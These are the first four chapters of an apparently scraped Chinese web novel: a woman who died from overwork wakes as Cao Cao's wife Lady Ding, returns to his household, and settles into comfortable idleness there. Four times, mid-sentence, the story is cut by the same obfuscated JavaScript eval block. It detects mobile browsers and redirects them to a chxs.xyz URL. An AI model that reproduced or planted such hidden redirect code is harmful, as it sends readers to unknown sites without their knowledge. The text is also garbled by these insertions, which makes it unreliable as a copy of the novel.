《我在曹操后院躺平摆烂》 1. (一)表哥,我错了 丁瑶醒来,确认自己穿越了。 通宵加班猝死的结果竟然是,她魂穿东汉末年,成为了丁夫人。 曹操的发妻丁夫人,不是个好角色。 原身丁夫人的记忆在她醒来时,已经恢复了大半。 不用费脑细胞梳理人际关系,已经很照顾她这位前过劳死了。 原身也姓丁名瑶,沛国谯县大户丁家嫡女,容貌出众,从小锦衣玉食,走到哪里都自带光环。 可正因为她是丁家嫡女,她无权选择自己的婚姻。 及笄之年,她不得已听从家族安排,与年长她五岁的曹操结为夫妻。 曹家和丁家的联姻关系可追溯到曹操的父辈,严格来讲,丁瑶是曹操舅舅的女儿,算是他的表妹。 古时候讲究门当户对,曹氏和丁氏这样的望族已经是长期联姻合作关系,婚姻带着浓厚政治色彩。因此,哪怕有这层血缘关系,两家非但不避讳,还觉得是件美事,极力促成这门亲。 丁夫人教养极好,从小饱读诗书,结果把自己读进思想的牢笼。 在这个男尊女卑、女子无才便是德的时代,女子能识字已是难得,即使读书,读得也是《女训》《女戒》为主,要求女子守妇道守贞洁,学得是夫君乃女子整片天之类的封建糟粕。 丁夫人与曹操也算自幼相识,成婚十余年,没有爱情也有亲情。她一直兢兢业业当好夫人的角色,上得厅堂下得厨房,撑得住曹家门面,忍得了担心受怕,唯独斗不过小三。不止小三,还有小四小五等等。 曹操那一屋子女人,除了曹操本人,谁斗得过。 可古代夫人最重要的一点,就是忌善妒。 丁夫人生得很美,柳眉星目,樱桃小唇,典型的东方美人。只不过当了太久的主母,她眼神多了许多淡然和冷静,少点风情。 她不屑于与妾室争宠,又过分理智克制,客客气气地把那些小三小四接进门,衣食住行从不苛责,逢年过节还得在曹操面前上演家和万事兴。 可丁夫人是个人,不是没有感情的机器。忍了许久的丁夫人就像一座休眠火山忽然苏醒,和曹操大吵后一怒之下打包回娘家。 天下敢和曹操吵架还能没事儿的女人,只有她丁夫人。 丁夫人带上贴身婢女,离家出走。曹操虽怒,但舍不得妻子,更担心路途遥远出了意外,于是派人去寻。 家丑不外扬,曹操派自己的心腹曹仁带十人追丁夫人。 曹仁这一追,惊动了丁夫人。丁夫人还在气头上,命令车夫加快车速。左右都是老板,车夫十分为难。 就在这时候,马惊了。 马车失控疾行一阵,车轮压到石头打了滑,车身翻下山坡。 车夫和婢女受了重伤。 丁夫人从马车上摔下来,脑袋撞到树桩失去意识。 再醒来,她已经是另一个丁瑶了。 “找到夫人了!找到夫人了!” 不远处焦急地呼喊吵得丁瑶本就胀痛的头更痛,快要脑溢血了。 毁灭吧丁瑶。 她闭上眼睛,再睁开,什么都没改变,依然身处荒郊野岭。 她叹口气,动了动胳膊腿,身上没有痛感。她手扶地坐起来,除了头还有点疼,再无其他不适。 “嫂夫人!嫂夫人!”曹仁一路溜坡小跑下来,身后跟着几名护卫。 他面部稍黑,脸上胡子拉碴,风尘仆仆。 此时见到她,曹仁眼睛发红,竟激动到喜极而泣:“可算找到您了,幸好您没事,不然兄长那里我无法交代啊!” 丁瑶意识刚回归,还没反应过来如何开口。曹仁以为她仍在赌气,赶忙劝说:“嫂夫人,您就别和兄长闹脾气,随我回去吧!兄长还是很在乎您的啊!” 他心里苦啊,兄长和嫂夫人斗气,从头到尾都不关他的事。可若带不回嫂夫人,兄长肯定更生气,要责怪他办事不力了。 曹仁不善言辞,以为还要再哭天哭地劝一番。没想到丁夫人竟然想通了,非但不再闹,还十分客气地说了一句:“劳烦了,给你们添麻烦。我这就随你们回去。” “……好好好。”曹仁吃一惊,有点磕巴。 丁瑶看了看不远处受伤的婢女和车夫,复看向曹仁,缓缓吩咐道:“有人受伤了,需要尽快医治。” “是,嫂夫人。兄长担心您受伤,派府上医工与我等同行。”曹仁朝身后招手,不一会儿,在马背上颠簸一日快散架的医工被两个侍卫搀扶着,一步一晃跑过来。 丁瑶说:“他们伤得重,先给他们看。” 医工说:“司空吩咐,一切以夫人为先。” “人命关天,重伤者优先。”丁瑶提高声音。 医工看了曹仁一眼,曹仁微微点头,医工提着药箱去看车夫和婢女了。 丁瑶缓慢地站起来,动了动脚,慢慢走几步。身上不疼没有受伤,但身体很虚弱。这具身体和曹操置气,已经好几天没吃过饭,十分虚弱,丁瑶走几步就眼冒金星。 “嫂夫人,您怎么样?身体可有大碍?”曹仁想帮忙,却又不敢逾矩去扶她。 丁瑶靠着树干站稳,喘口气缓了一下问:“我很饿,有吃的吗?” 曹仁干巴道:“只有糙米干粮,行军赶路果腹而已,不适合……” “拿来。”丁瑶伸手。能填肚子就行,什么适不适合,再不吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555547|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭她真要饿死了。 曹仁怔了一下,赶紧掏出块还没吃过的糙米饼,双手递给丁瑶。 丁瑶接过来,咬牙一闭眼,像是下定某个决心般,大口大口吃下去。 如果说刚醒来时丁瑶不甘心,吃下糙米饼后,她已认清了现实,并决定接受现实。 一堆帅哥围着你当团宠的日子只存在小说里,她穿越到史上最乱的东汉末年,战争、杀戮、饥荒、灾害不断。史料记载东汉末年人口锐减,不是打仗打没了就是饿死了。 乱世生存法则:要么实力过硬,要么紧抱大腿。 丁瑶的实力在乱世不值一提,而她的大腿,就是曹操。 这个填不饱肚子甚至人吃人的时代,还谈什么爱情啊。 那个名义上的老公找几个妾室,与她丁瑶有何关系啊。 上辈子她劳碌命,一人干一小组的活还不被领导待见,最后过劳死。这次她能抱上曹操这条大腿,在曹操府邸后院有个地方舒舒服服躺着,享受前世没享受过的退休生活,何乐而不为呢。 于是,吃完糙米饼的丁瑶轻轻拍掉手上的碎渣,心甘情愿随曹仁一行人回许昌。 此时此刻,曹司空府邸。 曹操身着黑色长襟,玉带束腰,黑发用一根檀木簪束紧。服饰简单,人却透着冷肃。 他端坐在房间正中的木雕云纹桌前,薄唇紧抿,脸黑得能滴出墨,四周的气温都受他影响冷了几度。 下人乌压压在他面前跪倒一片,没人敢吭声。 沉默了不知多久,终于,府上年过五旬的老管家阿福提着衣摆跑进来,跪下对曹操说:“禀司空,夫人回来了。” 曹操身体微微前倾,没有说话,眼睛细细眯起来,像在琢磨什么。 下人们战战兢兢,气都不敢喘。 老管家跪在门口,脑门贴紧地板,心里捏了把汗。丁夫人真敢啊,吵架归吵架,居然一言不合就打包回娘家。曹司空是何人,岂会拉下脸来求和,能派人寻她回来已经给了天大的面子。若夫人依然没好脸色,和曹司空的黑脸撞上……苦的可是他们这些下人。 他正想着,这时,丁瑶走进来了。 曹操眼神有点波动,可强大的自尊心不允许他对丁夫人说软话。 “回来了?”语气生硬,余怒未消。 他刻意回避她的目光,低头喝茶。 面对黑脸的曹某人,丁瑶努力摆出一副笑脸,就像从前面对不待见她的领导还要保持良好形象。 她微微屈身,行了个不怎么标准的礼,一个磕巴不打地说:“表哥,我错了。” “噗!”板着脸的曹操再也板不住脸,一口茶水喷出来。 2. (二) 摇椅听书 曹操满腔怨气像是撞上棉花墙,发作不出来,可这么快把脾气收回去,他又觉得十分没面子。于是,他以静养为名,让丁夫人在院中闭门思过。 既然禁足后院,丁瑶便专心研究起院子来。 丁夫人住的院子极好,丁瑶十分满意。 卧室朝南,宽敞,阳光充足。透过雕栏窗户可见院中银杏树,到了秋天叶子金黄,景色甚美。 西侧有间暖阁,原丁夫人当做茶室,丁瑶想把它改造成书房,再做个沙发,可以喝茶看话本。 东侧是仓库,堆放一些换季的杂物。丁瑶觉得有些浪费,以后可改成小厨房,生个炉灶做点自己喜欢吃的东西。 后院有一片池塘,里面空空如也,太浪费,养点锦鲤才喜庆。 池塘边可以载果树,到了秋天既能观赏也能吃果子,岂不美哉。 不错,这里很适合养老。 “夫人。”身后有一女子唤她,打断丁瑶在脑海构建未来蓝图。 丁瑶回头看,领她回院子的下人已经走了,来了一位生面孔。 女孩年龄十五六岁,模样生得普通但人看上去很规矩。 丁瑶疑惑:“你是谁?” 女孩跪下回话:“阿蝉重伤无法起身,不便伺候夫人,奴是福叔派来贴身服侍夫人的。” 丁瑶了然。阿蝉是她的贴身婢女,多年来尽心侍奉,是她最喜欢的丫头。这次愤怒出走回娘家也只带了她一个丫鬟,却不料出了意外。 古代医疗条件有限,医工说阿蝉身上多处骨折,就算人活下来也会落下残疾,不可能再照顾丁夫人。 丁夫人身边不缺丫鬟,可她们大都是做洒扫粗活的,这么多年真正贴身伺候夫人衣食起居的只有阿蝉。 眼下阿蝉受伤,丁夫人要么是从院子里提拔一个有热情没经验的,要么就是在外头重新选一个有工作经验的。 考虑丁夫人目前正在气头上,可能忽略这件事,管家阿福替夫人先选了个伶俐人。但若丁夫人不愿意收,他也不会强买强卖。 既然是老管家的好意,她便先接着,反正她心里也没更好人选。若是这丫头不给力,她用着不顺心,以后再慢慢物色人选换了呗。 丁瑶叫新来的丫鬟起身,问她:“你叫什么名字?” “奴没有名字,夫人愿意叫奴什么都可以。” 古代很多贫苦人家的女子卖身为奴,都是没有名字请主人赐名的。 丁瑶想了下说:“既然如此,我就叫你七喜吧。简单好记,听着也喜庆。” “奴谢夫人赐名。”女孩跪下磕头。 “行了,起来吧。”丁瑶淡淡一笑。不用这么严肃,她只是喜欢喝饮料而已。 但当着下人的面,规矩必须立。尤其是她这个才被禁足的夫人,不能叫人看轻了,以后还指着她们做事呢。 这么想,丁瑶敛去笑意,正声说:“以后你只要忠心踏实的做事,我一定不会亏待你。若你有了更好的去处或者有人能帮你赎身脱离奴籍,我也绝不阻拦。但丑话说前头,别动歪心思,若被我发现……” 她学着宅斗剧里的样子,一个犀利的眼神甩过去,小丫头浑身一哆嗦。 “奴不敢,奴不敢!”她又跪下了。 小小的威慑完毕,丁瑶露出笑脸:“好了,别跪了。我先交给你两件事办。一是改掉奴这个自称,我听着别扭。二是帮我请几位工匠,我想把院子修整修整,添点东西。” “奴……”小丫头立刻住嘴,改口:“七喜明白了。” ** 眼下是建安元年,九月。 曹操把汉天子刘协迎入许昌不久,忙得焦头烂额,每日很晚才归来。 丁瑶对三国历史了解不多,知道最有名的几个故事也还没发生,但她知道曹操未来开挂,是三国霸主之一,且是霸主中的老大。她想乖乖在院子里养老,想在乱世中生存,首要原则就是老老实实不惹事,不给曹老板添麻烦。比如,离家出走后赶快回来。再比如,回来后第一时间认错,因为曹操是绝不会认错的。 态度诚恳,保住饭碗。 曹操对丁夫人有没有爱情对丁瑶来说不重要,毕竟是发妻,陪他走过最艰难的岁月,恩情和亲情肯定有的。所以,只要不惹毛曹老板,她应该是可以躺赢的。 至于丁夫人与曹操和离的结局,丁瑶看电视剧时有点印象,好像是曹操因美色误事,害死了丁夫人的养子,丁夫人彻底心死,写了休夫书。 古代休夫可是天大的瓜! 丁夫人平时看上去端庄贤惠,真要刚起来,她能刚过所有女子。 至于丁瑶,虽然恢复丁夫人记忆,但也只是看电影般过一遍,没有共情。 她对曹操爱不起来也恨不起来。他有多少女人,有喜欢别人家妻妾的怪异癖好,于她而言不重要,翻个白眼而已。 对于未来某天会死去的养子,她虽然感到惋惜,但很抱歉,她没有儿子也没养过谁的孩子,并不很难过,不会去阻拦历史的车轮。 如今她只想安安稳稳过点小日子,以后的结局以后再说。如果到最后真的与曹操和离,那她就打包回娘家。丁家是氏族大户,她大不了换个地方躺平呗。 既然是穿越,自然有金手指。这是丁瑶回府前,协助曹仁一行人修理马车时发现的。也因此,她才有信心召集匠人一起,修整内院。 丁瑶的特殊能力:只要有原材料,便可徒手造万物。 当然,金手指不是无限制的,她同府上工匠交流改造小院的过程中,慢慢摸索出“徒手造万物”的使用法则。 超出时代太久远的东西不行、有害世界和平的东西不行、伤害人类感情的东西不行。 总之就是吃喝玩乐,物物皆可造。只有你想不到,没有你办不到。但制毒、弹药、暗器之类的,想都别想碰都别碰。 可是每次动用技能消耗特别大,做一件东西出来需要睡好长时间,批量生产的话当个“睡美人”都有可能。因此,丁瑶主要是构建蓝图,指挥匠人干活。偶尔他们做不出她想要的效果,或她着急要成品又嫌工匠效率太低时,她才会亲自动手,代价则是沉沉地睡上一觉。 七喜实在不明白,自家夫人被禁足,首要任务不应该是得到曹司空原谅吗,怎么她好像一点也不着急,关禁闭关得怡然自得。她非但没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555548|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失宠夫人的哀怨,反而把小院打造的风生水起。 经过一个月的忙碌,西侧房间里的书架已建好,就差话本子到位。东侧小厨房改造图纸完成,寻个吉日动土。最重要的是,丁瑶精心设计的吊篮式睡躺椅制作完成,已经放置在后院了。 ** 曹操对丁夫人小院的动作毫不知情,他知道丁夫人请匠人去她院子里,但不知她具体在忙何事。 天子从洛阳迁都许昌后,他诸事繁忙,既要造宫殿、立宗庙、修衙门,还要忙着提拔手下的文武心腹官员,巩固曹家势力。与此同时,北边的劲敌袁绍和徐州的吕布虎视眈眈,都不能小视,他可谓焦头烂额。 丁瑶归来一个多月,尚在禁足中。曹操没有去小院看她,一是真的没时间顾不上,二是他拉不下脸来。 想当初卞氏是她伸手搭救的,他还称赞她心地善良、宽厚仁爱,怎么她就突然和卞氏不对付,还把气撒在他身上了? 今日休沐,难得片刻清闲。 曹操和曹仁对弈,可他心思显然没全在棋盘上,否则怎会叫曹仁占上风。 书房和丁夫人的小院一墙之隔,曹操嘴上不说,可眼神忍不住往那边瞧。 曹仁眼尖,立刻察觉兄长心里是惦记嫂夫人,只是抹不开面,于是挑起话题:“嫂夫人真是奇女子啊。” “奇女子?”曹操挑眉,好奇。 曹仁点头,称赞道:“愚弟带人追嫂夫人的时候,嫂夫人的马车不慎翻倒,车轮都甩掉了。愚弟同随从试图修马车,却笨手笨脚修不好,是嫂夫人教我们如何修马车,还亲自动手安装了车轮和轴承。” 这下连曹操都吃惊了。丁瑶出身世家,通晓琴棋书画不稀奇,何时会做这类杂活了? “当真?”曹操问。 曹仁点头:“自然是真的。此外嫂夫人摔下马车受伤,愚弟带医工为她看病,嫂夫人却认为车夫和婢女受伤更重,让医工先救治伤重者,而不是看身份地位。嫂夫人真是位善良的女子啊!” 曹操胸口微微一暖。丁瑶十几年如一日的陪伴他,从他籍籍无名到他如今大权在握,丝毫没有怨言。是他自己冷落丁瑶太久,才让她心里委屈无处发泄。何况夫妻不合,影响后院安宁,传出去也不好听。 他放下别扭和尴尬,决定晚上去丁瑶小院用膳,缓解两人紧张的关系,至少可以解了她的禁足表明诚意。 傍晚,曹操独自走到小院门口,人还没进去,就听见里面传来说书先生的声音。 那个人正绘声绘色讲着曹孟德刺杀奸贼董卓的故事,跌宕起伏,引人入胜。 曹操心里头直痒痒,还有一丝丝窃喜。瑶瑶这是故意找说书人讲他的故事?她禁足在院子无法出门,于是想办法吸引他过来?想求得他原谅? 待他走进院子,他难得好看一点的脸色再次黑了。 丁瑶躺在一个不知道是何物的吊篮上,摇啊摇的十分惬意。她闭着眼睛听说书人讲故事,不时伸手拿桌边的瓜果往嘴里放,听书吃东西两不误。 曹操明白,她不是在吸引他进院子,也不是想求他原谅,而是根本无所谓他在哪里,自顾自享受呢。 3. (三)同床共枕 此时的丁瑶斜躺在吊篮上,半眯着眼睛十分享受。 她听着先生拍马屁式的说书,觉得十分有趣,不时伸手抓一把花生助兴,完全不知主角正站在她身后。 如果她是睁着眼睛听书,只要看见七喜和说书人脸色走马灯般变化,立刻就能反应过来。偏偏她闭着眼睛,对身后的一切全然不知。 说书人是个留着山羊胡的老先生,本以为能进司空府是个肥差,日后他可以对外好吹牛。没想到正讲到精彩处,话本子里的正主忽然出现,吓得他不知如何是好,断气似的打了个大磕巴。 曹操用眼神示意说书人别停,又摆摆手让七喜下去。七喜不敢出声,不敢提醒,缩着脑袋退下了。 丁瑶闭眼嚼花生,悠哉悠哉地说:“老先生别停啊,继续讲继续讲。七喜,帮我推摇椅。” 曹操走到吊篮后面,面不改色推摇椅,边推边对这新鲜玩意产生好奇。 说书人咽了口唾沫,硬着头皮继续讲。 他正讲到董卓从铜镜反光看见匕首,曹操机智脱身的情节。原本接下来要讲曹操如何脱身逃跑,可眼下正主就在面前,讲逃跑什么太难听了。 何况他进府的主要目的就是拍曹司空马屁,如今正主就在眼前,此时不拍,更待何时。 于是接下来的故事情节变成感情升华,说书人卖力地讲曹司空如何足智多谋,如何以身犯险,如何心怀天下等等,唯恐对面的曹操听力不好。 “哈哈哈!”丁瑶发现说书人的小心思,听得笑出声。“老先生,曹老板不在这里,你就别费心拍马屁了,我是不会帮你转达的。还有啊,你确定自己拍马屁没有拍到马蹄子上,且不说刺董一事是杜撰,就算真有此事,说不定曹老板自己都觉得刺董一事有点冲动了。如果刺杀一个权臣就能还天下太平,那有志之士还学治国理政、兵法韬略做什么,全都去习武当刺客好了。” “哈哈哈哈哈哈!” 笑声自身后而来,陌生又熟悉,近在咫尺。 这一笑震得丁瑶直接从吊篮上翻下去。 她赶忙站好,面对曹某人的目光,只觉五雷轰顶,头皮发麻。 “我……我不知你在……” “继续说啊?方才不是伶牙俐齿的?”曹操似笑非笑,玩味地打量她。从来只见瑶瑶端庄平和,如此慌张的模样倒是有趣得紧。 “我听书听得入神,并不知表哥在。方才胡言乱语,莫要见怪。”丁瑶舌头打结。 曹操说:“并非胡言,只是其他人不敢言而已。我倒是好奇,是谁最先编故事的。” 不敢言的说书人已经跪地上了,后背都被冷汗浸湿。 “……不过编得颇有趣,随便听听也无妨。” 这下丁瑶的冷汗也冒出来。历史上的曹操有名的睚眦必报,喜怒无常,他此时看上去不介意,可谁知道日后会不会翻小账。 “七喜呢?”她左右一看,小丫头早没影了。“新来的丫头不懂规矩,我这就去煮茶。”她找机会开溜。 曹操拦住她说:“我故意把人支走了,今晚我们好好吃一顿饭。” 开溜失败。 丁瑶点头,咽了咽口水,把跳上来的心吞回肚子。 晚饭很简单,三菜一汤,都是普通家常菜,但在路有冻死骨的战乱时代,已经相当奢侈。 下人们都被支走,屋子很安静。 曹操吃饭很快,不一会儿两碗饭下肚。 丁瑶食不下咽,心里直打鼓。她虽然知道丁夫人的过去,可行为和思维仍是她自己,无法百分百模仿丁夫人为人处事。 好在曹老板这几年像供佛一样尊敬丁夫人,极少来她院子,两人恐怕话都说不上几句,她只要别太离谱就行。 曹操问:“这些都是你最爱吃的菜。怎么?不合口味?” “不是。”丁瑶摇头。 曹操又问:“还在恼我?” “不敢。只是……”丁瑶琢磨着措辞,“有点想家了。” “等过些时日,我陪你一同回家。” 他这是要求和? 很好很好,老板都给台阶下了,她再不下就是傻子。 于是,她放下碗筷,温婉笑言:“多谢。” 丁夫人与曹操相处多年,而作为丁瑶,她是第一次这么近距离清楚的观察曹操。 曾有考古学家推测,曹操身高一米六,相貌丑陋。可丁瑶眼前的曹操,的确不是身高八尺相貌俊美的大帅哥,但也不是相貌丑陋的矮个子。 他不是后世电视剧里那种奸诈阴险的面容,更不是戏曲里的白脸。 黝黑的皮肤透露出常年奔波在外的辛劳,可他并无疲态和苍老。他的眼睛很黑很亮,透着中年男人的睿智,给她一种很可靠、很踏实的错觉,因为她知道这双眼睛面对百官时,会透露怎样的狠厉和野心。 她对曹操了解有限,在有限的了解中,她对他惧怕大于崇拜。 吃饭过程中,曹操有一搭没一搭和她聊家常,主要围绕刘夫人去时候过给丁夫人的三个孩子。 曹操不到二十娶丁夫人,过了两年丁夫人没生孩子,于是纳了刘夫人这个妾室。妾室生下三个孩子,后来病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555549|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逝了。丁夫人抚养三个孩子长大,从未生育过的她一下成为三个孩子的母亲。 丁瑶没生过孩子,也没养过孩子,不过她喜欢听八卦。 谁谁的婚事,谁谁的功课,谁谁的教书先生又告状了…… 此时的曹操只是一位寻常父亲,被自家孩子整得没脾气,时而骄傲时而担忧,时而温和时而无奈。他是个有血有肉的人,不只是一个杀伐决断的枭雄。 他正是男人一朵花的年纪,而丁夫人已经三十有三,古代女人红颜未老恩先断的年纪。 不公平啊。 丁瑶吃完饭,正兀自乱想,就听见对面的曹操吩咐下人进来收拾碗筷,还要他们准备沐浴用的热水和衣袍。 嗯? 丁瑶心中警铃作响。他这是要留下过夜?他上一次留宿丁夫人院子,是几年前来着? 太恐怖了,放着一屋子妙龄女子不找,他找她做什么? 她心快要跳出来了。虽然她在现代交过男朋友,经历过男女情事,可让她同一个才见过两面的陌生男人发生这种亲密事,她自然十万分的不愿。 可古代的夫人如何能拒绝夫君这类要求呢? “……那个……”她想到了唯一的办法,脸色不自然,“我月事来了,今日身子不方便。” 曹操淡淡地“嗯”了一声,没再多说,让下人伺候着沐浴去了。 晚上,两人只是躺着睡觉,曹老板什么都没有做。可丁瑶连眼睛都闭不上,哪里睡得着。 身边的男人鼾声如雷,震得房顶都快塌了。 这要是她前男友,她早就一脚就把他踹下床了。可偏偏身边是她万万不能得罪的曹老板。 她想给他翻个身,可一想到此人有“梦中杀人”的传说,立刻不敢动。万一梦中把她砍了怎么办,她虽然不喜欢丁夫人这个身份,可还不想死。 就这样睁眼胡思乱想躺了大半宿,身边的曹操醒了。 曹老板起床。他每日都有早起读书的习惯,几十年来雷打不动。 丁瑶吓得立刻闭眼装睡,她听见身边人穿衣服的声音,他好像还吩咐下人别吵醒夫人、准备早饭之类的。 看似体贴,实则恐怖的一晚。 她横在床上想,昨夜她扫了曹老板的兴,未来几日他应该都不会来她院子。 自由了,还是次次轮空的日子比较好。 让他去找别的夫人们吧,她不伺候。 只是没想到第二日傍晚,曹操又来到她的小院。 不过他此次不是来过夜,而是找丁瑶商量长女曹蓉的婚事 4. (四)顺水推舟 长女曹蓉是妾室刘夫人所生,她还有两子,曹昂和曹铄。可惜天妒红颜,刘夫人还没享过福就病逝了。 丁夫人嫁给曹操两年没有孩子,曹操便纳了刘氏为妾。新婚蜜月期都没过,丁夫人便要接受另一个女人分享丈夫。她心里不好受,却保持正妻的气度。她不但没有表现出一丝不快,还和刘氏相处融洽。 刘氏去世后,丁夫人细心抚养三个孩子,尤其喜爱曹昂,视如己出般的疼爱,对曹操带长子从小随军锻炼的行为表示不满和担心。 长女曹蓉大概是幼时对生母记忆很深,与丁夫人难以亲近。丁夫人也不强求,衣食住行事无巨细,但多余的事情也不管,两人相处还算和谐。 今日曹操来向她询问曹蓉婚事,丁瑶颇为意外。一不小心就会得罪人。 曹操中意的是丁仪,沛国人,也是丁夫人同族。 丁瑶穿越过来的这些日子,旁敲侧击从七喜嘴里了解到,丁家的势力远比她想象中还要强,家大业大钱也多。可以说,曹操最初起兵时的资金支持,少不了丁氏。丁家对曹氏而言,是一个强有力的后盾。曹蓉若能与丁仪结亲,可让这层关系更牢固。 丁瑶自嘲的想,莫不是丁夫人离家出走、夫妻不和的言论传出,曹氏内部担心资金链断裂,于是想再结一门亲? “阿瑶在想什么?”见她发愣,曹操询问。 丁瑶回道:“女儿家长大了,肯定有自己的心思,我做主不太好。” 曹操微一蹙眉,说:“婚姻大事,一向是父母之命媒妁之言,哪有姑娘自己做主的。我见那丁仪见多识广,又是大家族出身,和蓉儿十分般配。表妹,你意下如何?” 他把称呼从阿瑶改成表妹,落在丁瑶耳朵里反倒正经严肃起来,似是要逼她这个当家主母拿主意。偏偏曹操心意已定,可还要让她点头,他究竟几个意思她吃不准。 丁瑶觉得自己初来乍到人生地不熟,还是别给老板添麻烦,顺着他的话说吧。可还没来得及开口,就听见院子里传来吵闹声。 “让我进去,我要见父亲!” “小姐,司空大人正和夫人说话,您不能进啊!” “他们要让我嫁给一个独眼瞎子,我才不要!” 院子里传来的,一位年轻女孩儿的吵闹和老嬷嬷的苦劝。 曹操脸色一沉。 丁瑶了然,当事人曹蓉找上门了。 曹蓉年幼丧母,又是曹操长女,曹老板对她格外宠爱娇纵些,以至于她听到自己婚事安排的传言后,不顾父亲是否会发怒,吵吵闹闹上门来了。 伺候大小姐的老嬷嬷拦不住也不敢拦,追在曹蓉身后,眼见她掀开竹帘未行礼便冲进房间。 老嬷嬷跪在门口,磕头:“曹司空恕罪!” 曹蓉双目含泪,满脸委屈,看着自己的父亲道:“父亲,我不愿意嫁给丁仪,他就是个只有一只眼的半瞎子!” 曹操眉头收得更紧:“你又怎会见过?” “三弟前些日子带朋友来府中,他们在曲园亭下饮酒作诗,我偶然看见。父亲,女儿虽不是倾国倾城之容,可论家势也配得上世上好男儿,怎可嫁给一个身体有残缺的男人!” 此话颇为刻薄难听,尤其是当着丁瑶的面侮辱丁家男子身体有残缺,无异于打丁氏脸面。 曹操即使再宠爱女儿,也有点不悦:“话不能如此说。丁仪虽然左眼有疾,可堂堂七尺男儿相貌堂堂,怎能说身体残缺这般不堪的话。再说能与植儿称兄道弟,与他一起饮酒作诗的男子,才学人品定是一等一好,配得上我曹孟德之女。蓉儿,你也是识文断字、读过诗书的姑娘,怎能只在乎皮肉相,看人如此肤浅?” 曹蓉又气又急,可她不敢违逆父亲。她眼泪掉下来,心想到底是自己没了亲娘,如果自己的母亲在,一定会向着女儿,不会让父亲把她嫁给一个独眼瞎子。 于是,她把怨气全都撒在与曹司空“不和”的丁夫人身上。 “母亲,您怎么不说一句话?当初我娘临走前,您在她床前说得多好听,说会对我向亲生女儿一般,视如己出。如今您却一言不发,眼睁睁看我往火坑里跳!这么多年,您没有亲生孩子,您敢说对我娘当时嫁给父亲没有一丝怨恨吗?您在外人面前扮演慈母,其实巴不得我快点嫁出去,省得碍您眼吧!” “住口!”曹操大喝,拍案而起,桌上的茶杯都震出响声。“敢顶撞长辈,越来越不像话!” 曹蓉有些怕,可依然倔强地看着他。 曹操脸色阴沉,上前一步就要发作,丁瑶见状赶紧拉住他的胳膊,婉言相劝:“表哥莫急,气大伤身。蓉儿长大了有自己的想法,我们逼迫不得。今日闹成这样,再僵持下去也说不出什么,不如让她自己回去冷静几天。也许过几日她想通,便也没事了。” 跪在门口的老嬷嬷很早便伺候曹蓉,曹操发怒吓得她小腿肚子打转。听到夫人的话,她连滚带爬进屋,扶住跪在地上的大小姐,小心劝道:“小姐,您先随奴回去吧,别惹司空大人生气。” 曹蓉红肿着眼睛,被有眼色的嬷嬷拉走了。 曹操气得踱了几步,叹气:“都怪我平日太宠爱蓉儿,才会让她这般放肆。” 丁瑶一笑:“表哥不是常说,蓉儿巾帼不让须眉,是你最得意的女儿吗,怎么今日反而责怪自己了?” 曹操看她一眼,问:“阿瑶不气蓉儿?” “我为何要气?蓉儿话虽过激,但都是实话。我对蓉儿的好到底隔了层肚皮,比不上亲娘。她的婚事是一辈子大事,我说什么都不合适。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555550|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 曹操不置可否,沉默片刻,他长吐口气,摆出父亲的威风:“那就……” “不如这样。”丁瑶冒险打断曹操,小心道,“蓉儿一向和丕儿亲近,表哥定下婚事前,可让丕儿劝劝她,让她心里好接受些。待蓉儿想通了,再订婚不迟。父女一直闹别扭,总不太好。婚前闹得太僵,给未来夫家看去,岂不是闹笑话。” 曹操思量片刻,点头,沉声道:“还是表妹思虑周全,就这么办吧。”说完他起身往外走。 丁瑶像模像样欠身行礼,恭送老板。却见曹操驻足门前,默了几秒,转头对她说:“阿瑶,养好身体,我一直希望能有一个我们俩人的孩子。” “……!!”丁瑶直接低头,跪下了。幸好曹操没等她答复,直接走了。他人一走,她身体一歪,瘫软在地上。 七喜赶忙过来扶她,感觉丁瑶手上都是汗,抬眼见脖子衣领上也是汗,好声劝道:“夫人别气了,大小姐就是这脾气,等她嫁出去就没人再给您气受了!” 丁瑶摆摆手,大口喘气。不是曹蓉气到我,是曹操吓死我。 跟曹操生孩子,太吓人了吧! 